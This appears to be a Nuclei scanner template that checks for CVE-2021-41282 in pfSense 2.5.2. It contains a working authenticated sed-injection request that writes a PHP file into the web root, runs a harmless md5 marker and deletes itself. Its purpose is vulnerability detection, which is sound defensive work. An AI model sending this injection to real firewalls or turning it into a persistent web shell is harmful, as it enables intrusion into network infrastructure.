id: CVE-2021-41282

info:
  name: pfSense - Arbitrary File Write
  author: cckuailong
  severity: high
  description: |
    diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
  remediation: |
    Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
  reference:
    - https://www.shielder.it/advisories/pfsense-remote-command-execution/
    - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
    - https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41282
    - https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-41282
    cwe-id: CWE-74
    epss-score: 0.97335
    epss-percentile: 0.9985
    cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: pfsense
    product: pfsense
  tags: cve,cve2021,pfsense,rce,authenticated

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
      - |
        GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /test.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
          - "status_code==200"
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - '(sid:[a-z0-9,;:]+)'
        internal: true
        part: body

# digest: 4b0a004830460221009cdfcf442e85b280f2e2302a91038131e41ad8f1c402f8d66cf4c211ac1cad00022100d435d40359dff374aa7871cf815d6fd90158c885edc22c5a33ff8f5d9872b051:922c64590222798bb761d5b6d8e72950